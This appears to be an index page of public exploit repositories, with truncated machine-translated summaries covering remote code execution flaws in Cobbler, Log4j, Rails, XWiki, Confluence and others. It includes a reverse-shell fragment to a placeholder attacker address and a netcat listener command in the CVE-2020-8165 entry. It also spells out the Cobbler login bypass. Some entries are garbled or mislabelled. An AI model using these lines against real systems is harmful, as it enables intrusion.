CVE-2024-47533-Cobbler-XMLRPC-Authentication-Bypass-RCE-Exploit-POC

CVE-2024-47533 - Cobbler XMLRPC 인증 우회 RCE 익스플로잇 ⚠️ 인증 우회를 통한 Cobbler의 치명적인 원격 코드 실행 🛠️ @dollarboysushil의 PoC 구현 💡 개요 Cobbler는 네트워크 설치 환경의 신속한 설정을 가능하게 하는 Linux 설치 서버로, 버전 3.0.0에서 3.2.3 미만 및 3.3.7 미만의 버전에 인증 취약점이 있습니다. utils.getsharedsecret 함수는 항상 -1을 반환하므로, 누구나 빈 사용자 이름''과 비밀번호 -1로 Cobbler XML-RPC...

CVE-2021-44228-log4jVulnScanner-metasploit

CVE-2021-44228-log4jVulnScanner-metasploit Log4J RCE CVE-2021-44228 취약점을 발견하고 퍼징하기 위한 오픈 탐지 및 스캐닝 도구입니다. 준비 POC git clone https://github.com/TaroballzChen/CVE-2021-44228-log4jVulnScanner-metasploit cd CVE-2021-44228-log4jVulnScanner-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator 소개 이 도구를 사용하면 사용자가 제공한 Java 및 Log4J 버전에 대해 간단한 Java 웹 앱이 CVE-2021-44228에 취약한지 확인할 수 있습니다. 또한 선택적으로 몇 가지 사전 정의된 완화 조치 중 하나를 적용할 수 있습니다. log4shellvalidator.py로 구동되는 시뮬레이션 랩은 docker-compose를 사용하여 log4j 취약점을 악용하고 취약한 머신에서 RCE를 얻는 과정을 시뮬레이션합니다. 작동 방식 먼저, 일부 도커 이미지를...

CVE-2020-8165

CVE-2020-8165 Python 익스플로잇 이 코드는 Python3를 사용하여 CVE-2020-8165를 익스플로잇하기 위한 것입니다. 이 익스플로잇은 rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 주요 크레딧 원본 CVE 세부 정보: https://vulners.com/cve/CVE-2020-8165 제가 손보고 ArgParse를 추가한...

cve-2020-00796

Выявление и устранение уязвимости CVE-2020–0796 на лету CVE-2020–0796 — это уязвимость pre-remote code execution, которая находится в сетевом коммуникационном протоколе Server Message Block 3.0 SMBv3 и которую Microsoft не устранит в рамках мартовского «вторника обновлений» 2020 года. Использован...

CVE-2025-24893

XWiki SSTI Exploit Эксплойт на Python для уязвимости Server-Side Template Injection SSTI в XWiki через инъекцию шаблонов Groovy в конечной точке SolrSearch. Уязвимость Тип : Server-Side Template Injection SSTI Компонент : RSS-лента XWiki SolrSearch Воздействие : Удаленное выполнение кода...

ghe-push-option-rce-scanner

CVE-2026-3854 — 푸시 옵션 인젝션을 통한 GitHub Enterprise Server RCE 개요 GHE에서 푸시 옵션 값에 대한 부적절한 중화. 푸시 접근 권한이 있는 공격자가 인스턴스에서 RCE를 달성할 수 있습니다. 필드| 값 ---|--- CVE| CVE-2026-3854 심각도| CRITICAL 제품| GitHub Enterprise Server CISA KEV| 2026-03-10 공격 유형| 푸시 옵션 인젝션을 통한 RCE 인증 필요| 없음 영향을 받는 버전 상태| 버전 ---|--- ❌ 취약|...

CVE-2024-23743

CVE-2024-23743 CVE-2024-23743 Проблема в Notion for MacOS v.3.1.0 позволяет удаленному злоумышленнику выполнять произвольный код через компоненты RunAsNode и enableNodeClilnspectArguments Существует инструмент, предназначенный для автоматизации поиска уязвимостей в electron:...

CVE-2019-9978_Exploit

Эксплойт CVE-2019-9978 Плагин Social WarFare =3.5.2 Удалённое выполнение кода...

CVE-2024-36401

CVE-2024-36401 Уязвимость удалённого выполнения кода RCE при оценке выражений имён свойств GeoServer — это сервер с открытым исходным кодом, который позволяет пользователям обмениваться геопространственными данными и редактировать их. До версий 2.23.6, 2.24.4 и 2.25.2 несколько параметров запросо...

chakra-exploit-framework

Chakra 익스플로잇 프레임워크 이 저장소는 EXP-401 과정을 준비하기 위해 작성한 브라우저 익스플로잇 프레임워크를 포함합니다. 이 프레임워크는 2019년 Edge가 v8로 전환될 때까지 Edge의 일부였던 Chakra 엔진을 대상으로 합니다. 프레임워크에서 사용된 데모 취약점은 CVE-2019-0567 타입 혼동입니다. 기능 이 프레임워크를 사용하기 쉽게 만들기 위해, 향후 샌드박스 탈출 구현을 매우 쉽게 해주는 몇 가지 멋진 기능을 작성했습니다. 추상화된 Windows API 호출 프레임워크는 Windows API를 ...

CVE-2021-46422

CVE-2022-26134RCE Установка git clone https://github.com/yigexioabai/CVE-2022-26134-cve1.git cd CVE-2022-26134-cve1 pip3 install -r requirements.txt 把CVE-2022-26134RCE.py放到pocsuite3\pocs目录下 cd pocs Использование pocsuite3 Один URL: pocsuite -r CVE-2022-26134RCE.py -u url Несколько URL: pocsuite -...

CVE-2020-5902

CVE-2020-5902 В BIG-IP версий 15.0.0–15.1.0.3, 14.1.0–14.1.2.5, 13.1.0–13.1.3.3, 12.1.0–12.1.5.1 и 11.6.1–11.6.5.1 в Traffic Management User Interface TMUI, также называемом утилитой конфигурации, существует уязвимость удаленного выполнения кода RCE на нераскрытых страницах. Доказательство...

Better-CVE-2022-29464

Better CVE-2022-29464 Некоторые продукты WSO2 допускают неограниченную загрузку файлов, приводящую к удаленному выполнению кода. Атакующий должен использовать конечную точку /fileupload с последовательностью обхода каталогов в Content-Disposition, чтобы достичь каталога внутри веб-корня, например...

CVE-2024-32030-Nuclei-Template

Шаблон Nuclei для CVE-2024-32030 Описание Этот репозиторий содержит шаблон Nuclei для обнаружения уязвимости CVE-2024-32030. Эта уязвимость позволяет выполнять удалённый код через JMX Metrics Collection JNDI Resolution. Детали уязвимости ID: CVE-2024-32030 Название: JMX Metrics Collection JNDI RC...

CVE-2020-28502

CVE-2020-28502 node-XMLHttpRequest RCE NVD 설명 이는 xmlhttprequest 패키지 1.7.0 이전 버전 및 xmlhttprequest-ssl 패키지의 모든 버전에 영향을 미칩니다. 요청이 동기적으로 전송될 경우xhr.open에서 async=False, xhr.send로 유입되는 악의적인 사용자 입력은 임의의 코드가 삽입되어 실행될 수 있습니다. 데모 설정 1. Dockerfile에서 이미지 빌드 $ docker build -t cve-2020-28502 . 2. 새 컨테이너에서 node...

CVE-2020-9548

CVE-2020-9548：FasterXML/jackson-databind リモートコード実行脆弱性...

ConfluentPwn

ConfluentPwn Confluence 사전 인증 ONGL 주입 원격 코드 실행 스캐너 CVE-2022-26134. 사용법 아래 GIF는 도구의 데모 사용법을 보여줍니다: 다음은 도구의 도움말 출력입니다: $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - A Modern Attack Surface ASM Managemen...

CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is CVE-2026-77991-Abraxas-Labs.py. The advisory named a model. Privileged RCE:...

CVE-2024-23742

CVE-2024-23742 Проблема в Loom до версии 0.196.1 на macOS позволяет удаленному злоумышленнику выполнить произвольный код через настройки RunAsNode и enableNodeClilnspectArguments. С помощью этого инструмента можно проверить, уязвимо ли приложение: После проверки мы можем внедрить наш код и получи...